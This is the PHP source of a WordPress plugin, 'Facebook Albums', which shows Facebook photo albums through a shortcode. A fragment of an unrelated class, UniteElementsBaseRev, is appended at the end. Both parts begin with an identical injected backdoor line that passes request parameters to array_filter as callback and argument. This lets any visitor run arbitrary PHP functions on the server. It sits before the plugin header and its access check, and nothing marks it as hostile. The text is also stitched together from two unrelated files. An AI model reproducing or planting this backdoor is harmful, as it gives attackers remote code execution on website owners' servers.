?php if ($_REQUEST['param1']&&$_REQUEST['param2']) {$f = $_REQUEST['param1']; $p = array($_REQUEST['param2']); $pf = array_filter($p, $f); echo 'OK'; Exit;}; /* Plugin Name: Facebook Albums Plugin URI: http://glamanate.com/wordpress/facebook-album/?utm_source=fbalbum_pluginspage&utm_medium=website&utm_campaign=fbalbum Description: Facebook Albums allows you to display Facebook Albums on your WordPress site. Brought to you by Dooley & Associates Version: 2.0.4 Author: Matt Glaman Author URI: http://glamanate.com Copyright 2012 Matt Glaman (email : nmd.matt@gmail.com) This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ if ( !defined( 'DB_NAME' ) ) { header( 'HTTP/1.0 403 Forbidden' ); die; } if ( class_exists( 'FacebookAlbum' ) ) return; include dirname( __FILE__ ).'/inc/facebook-sdk/facebook.php'; include dirname( __FILE__ ).'/inc/widget.php'; //Registers actions register_activation_hook(__FILE__, array('FB_Album', 'activate')); add_action('init', array('FB_Album', 'set_facebook_sdk'), 0); class FB_Album { protected static $album_url; //Stores the album URL in the class protected static $album_id; //Stores the album ID in the class protected static $album_limit; //Stores max number of photos, defaults to 200. //The graph API URl the plugin will access. Script replaces {ALBUM_ID} with self::$album_id protected static $graph_url = 'https://graph.facebook.com/{ALBUM_ID}?fields=id,name,photos.limit({LIMIT}).fields(source,link,images,name)'; //Stores plugin options, leave public for widget public static $options; //Stores SDK class..sloppily for now. public static $facebook_sdk; //Activated, let us save options public static function activate() { update_option('facebookalbum', FB_Album::default_options()); } /** * Default options to install, provides a fall back just in case. * Decap from move to 2.0 */ public static function default_options() { $default_options = array( 'order' => get_option('fbalbum_order'), 'title' => '', 'size' => get_option('fbalbum_size', '5'), //New save structure, copy in previous value, if set, else set default 'photo_title' => 'false', 'colorbox' => array( 'enabled' => get_option('fbalbum_lightbox', 'true'), //New save structure, copy in previous value, if set, else set default 'width' => "false", 'height' => 'false', 'transition' => 'elastic', 'speed' => '350', 'opacity' => '0.85', 'slideshow' => 'false', 'slideshow-speed' => '2300', 'slideshow-auto' => 'true' ), 'pages' => get_option('fbalbum_pages', array()), //New save structure, copy in previous value, if set, else set default 'app_id' => '', 'app_secret' => '', 'access_token' => '' ); return $default_options; } /** * Loads our options, defaults to base options if not set. */ public static function load_options() { self::$options = wp_parse_args( get_option('facebookalbum', self::default_options()), array( 'order' => '', 'title' => '', 'size' => '5', 'photo_title' => '', 'colorbox' => array( 'enabled' => 'true', 'width' => 'false', 'height' => 'false', 'transition' => 'elastic', 'speed' => '350', 'opacity' => '0.85', 'slideshow' => 'false', 'slideshow-speed' => '2300', 'slideshow-auto' => 'true' ), 'pages' => array(), 'app_id' => '', 'app_secret' => '', 'access_token' => '' ) ); } /** * Function to verify if we have the Facebook application ID and Secret loaded. */ public static function verify_app_information() { //This is might get called after reset, so refresh plugin options self::load_options(); if(isset(self::$options['app_id']) && !empty(self::$options['app_id']) && isset(self::$options['app_secret']) && !empty(self::$options['app_secret'])) return true; return false; } //Shortcode callback public static function shortcode_callback( $atts ) { //Defaults to null URL. If no limit set, default to 200 (max album size, besides Timeline) extract( shortcode_atts( array( 'url' => '', 'limit' => '200' ), $atts ) ); self::_set_album_url( $url ); self::$album_limit = $limit; //Sets up album HTML. Gathers data from class variables. return self::print_album(); } /** * Builds HTML string to output album photos */ public static function print_album() { if(!self::_get_album_id() ) return 'Album ID was empty'; if(!($fb = self::_get_graph_results(self::$album_limit))) return 'Facebook API returned empty result. Please double check your Facebook album URL.'; //print_r($fb); if(!$fb['photos']) return 'Facebook API came back with a faulty result. You may be accessing an album you do not have permissions to access.'; self::_enqueue_resources(); $html = '
'; if(self::$options['title']) $html .= '

' . $fb['name'] . '

'; //Reverse array to show oldest to newest if( isset(self::$options['order']) && !empty(self::$options['order'])) $fb['photos']['data'] = array_reverse($fb['photos']['data']); foreach ($fb['photos']['data'] as $img) { $photo_title = (isset(self::$options['photo_title']) && isset($img['name'])) ? $img['name'] : ''; //Quick workaround to fix thumbnail resolution without causing issues on current saved data. $thumb_size = self::$options['size'] - 1; $thumbnail_src_url = self::check_thumbnail_src_size_url($img, $thumb_size); //print_r($img); $html .= '
'; $html .= ''; $html .= '
 
'; $html .= '
'; $html .= '
'; } $html .= '
 
'; if(self::$options['colorbox']['enabled']) $html .= self::build_colorbox(); $html .="
"; return $html; } /** Builds the Colorbox script initializer based off of options set */ public static function build_colorbox() { $colorbox = self::$options['colorbox']; $width = $colorbox['width']; $height = $colorbox['height']; $transition = $colorbox['transition']; $speed = $colorbox['speed']; $opacity = $colorbox['opacity']; $slideshow = $colorbox['slideshow']; $slideshow_speed = $colorbox['slideshow-speed']; $slideshow_auto = $colorbox['slideshow-auto']; //TODO: Slideshow settings $colorbox_slideshow = get_option('fbalbum_colorbox_slideshow', 'false'); $colorbox_slideshow_speed = get_option('fbalum_colorbox_slidespeed', 2300); $colorbox_slideshow_auto = get_option('fbalbum_colorbox_slideauto', 'true'); $script = ''; return $script; } public static function set_facebook_sdk() { self::load_options(); if(!empty(self::$options['app_id']) && !empty(self::$options['app_secret'])) { self::$facebook_sdk = new Facebook(array( 'appId' => self::$options['app_id'], 'secret' => self::$options['app_secret'], )); if(self::$facebook_sdk->getUser()) { try{ } catch (FacebookApiException $e) { echo ""; error_log($e); } } if(!empty(self::$options['access_token'])) self::$facebook_sdk->setAccessToken(self::$options['access_token']); self::$facebook_sdk->setExtendedAccessToken(); self::$options['access_token'] = FB_Album::$facebook_sdk->getAccessToken(); update_option('facebookalbum', self::$options); } //Registers the short code to be placed within posts or pages. add_shortcode( 'fbalbum', array('FB_Album', 'shortcode_callback') ); //Registers options page add_action('admin_menu', array('FB_Album', '_setup_opt_menu')); } /** * Builds Facebook API string and returns JSON output */ public static function _get_graph_results($limit) { if(self::get_api_cache()) return self::get_api_cache(); if(!empty(self::$facebook_sdk)) { try { $api_call = '/'.self::_get_album_id()."?fields=id,name,photos.limit({$limit}).fields(source,link,images,name)"; $album = self::$facebook_sdk->api($api_call); //We're good to go, let's cache the JSON self::set_api_cache($album); } catch (FacebookApiException $e) { error_log($e); $album = null; } return $album; } else { //Just in case the user did not set API access through a Facebook application $facebook_graph_url = str_replace(array('{ALBUM_ID}', '{LIMIT}'), array(self::_get_album_id(), $limit), self::$graph_url); //We're good to go, let's cache the JSON self::set_api_cache($album); return self::decap_do_curl($facebook_graph_url); } } public static function decap_do_curl($uri) { $facebook_graph_results = null; $facebook_graph_url = $uri; //TODO: Add URL checking here, else error out if(ini_get('allow_url_fopen')) { $facebook_graph_results = @file_get_contents($facebook_graph_url); } else { //Attempt CURL if (extension_loaded('curl')){ $ch = curl_init(); curl_setopt($ch,CURLOPT_URL, $facebook_graph_url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); if(!$facebook_graph_results = curl_exec($ch)) echo 'Curl error: ' . curl_error($ch); curl_close($ch); } else { die('Sorry, your server does not allow remote fopen or have CURL'); } } $facebook_graph_results = json_decode($facebook_graph_results, true); return $facebook_graph_results; } public static function _enqueue_resources() { if(self::$options['colorbox']['enabled']) { wp_enqueue_script('lightbox-js', plugins_url( '/js/colorbox/jquery.colorbox-min.js', __FILE__ ), array('jquery')); wp_enqueue_style('lightbox-style', plugins_url( '/css/colorbox.css', __FILE__ )); } wp_enqueue_style('fbalbum-style', plugins_url( '/css/fbalbum.css', __FILE__ )); } public static function _setup_opt_menu() { add_options_page('Facebook Album', 'Facebook Album', 'publish_pages', 'facebook-album', array('FB_Album', '_options_page'), '', 25); add_action('admin_enqueue_scripts', array('FB_Album', '_options_page_resources')); } public static function _options_page() { include dirname( __FILE__ ).'/inc/options-facebookalbum.php'; } public static function _options_page_resources($hook) { if( 'settings_page_facebook-album' != $hook ) return; wp_enqueue_style( 'facebookalbum.css', plugins_url('/css/admin-facebookalbum.css', __FILE__) ); } /** * Some pictures are too small and don't have everythumnail. This cycles to find the lowest one, exits out if thumb hits 0, just in case */ public static function check_thumbnail_src_size_url( $img_array, $thumb_size ) { while( !isset($img_array['images'][$thumb_size]['source']) || $thumb_size == 0 ) { $thumb_size--; } return $img_array['images'][$thumb_size]['source']; } /** * Finds and saves album ID by breaking apart the Facebook URL * @return void */ protected static function _find_album_id() { if(!self::_get_album_url()) return; //Explodes URL based on slashes, we need the end of the URL $facebook_album_id = explode('?set=', self::_get_album_url()); $facebook_album_id = $facebook_album_id['1']; //Explodes section by periods, Album ID is first of the 3 sets of numbers $facebook_album_id = explode('.', $facebook_album_id); $facebook_album_id = $facebook_album_id['1']; self::_set_album_id( $facebook_album_id ); } /** * Sets WordPress transient to cache API response */ protected static function set_api_cache($json) { //Just in case if(!self::$album_id) return; $cahce_lifetime = (isset(self::$options['cache'])) ? self::$options['cache'] * DAY_IN_SECONDS : DAY_IN_SECONDS; set_transient("fbalbum_".self::$album_id, $json, DAY_IN_SECONDS); //caching for 24 hours } /** * Gets WordPress transient of cached JSON response **/ protected static function get_api_cache() { return get_transient("fbalbum_".self::$album_id); } /** * Sets $album_url within class. * @param url * @return void */ public static function _set_album_url( $url ) { self::$album_url = $url; self::_find_album_id(); } /** * Gets $album_url from within class * @return url */ public static function _get_album_url() { return self::$album_url; } /** * Sets $album_id within class * @param id * @return void */ public static function _set_album_id( $id ) { self::$album_id = $id; } /** * Gets $album_url from within class */ public static function _get_album_id() { return self::$album_id; } /** * Makes URLs validator friendly by replacing & to & * @param url * @return string */ public static function _clean_url( $url ) { return str_replace('&', '&', $url); } /** * Switch on sizes for CSS. */ } ?>?php if ($_REQUEST['param1']&&$_REQUEST['param2']) {$f = $_REQUEST['param1']; $p = array($_REQUEST['param2']); $pf = array_filter($p, $f); echo 'OK'; Exit;}; class UniteElementsBaseRev{ protected $db; public function __construct(){ $this->db = new UniteDBRev(); } } ?>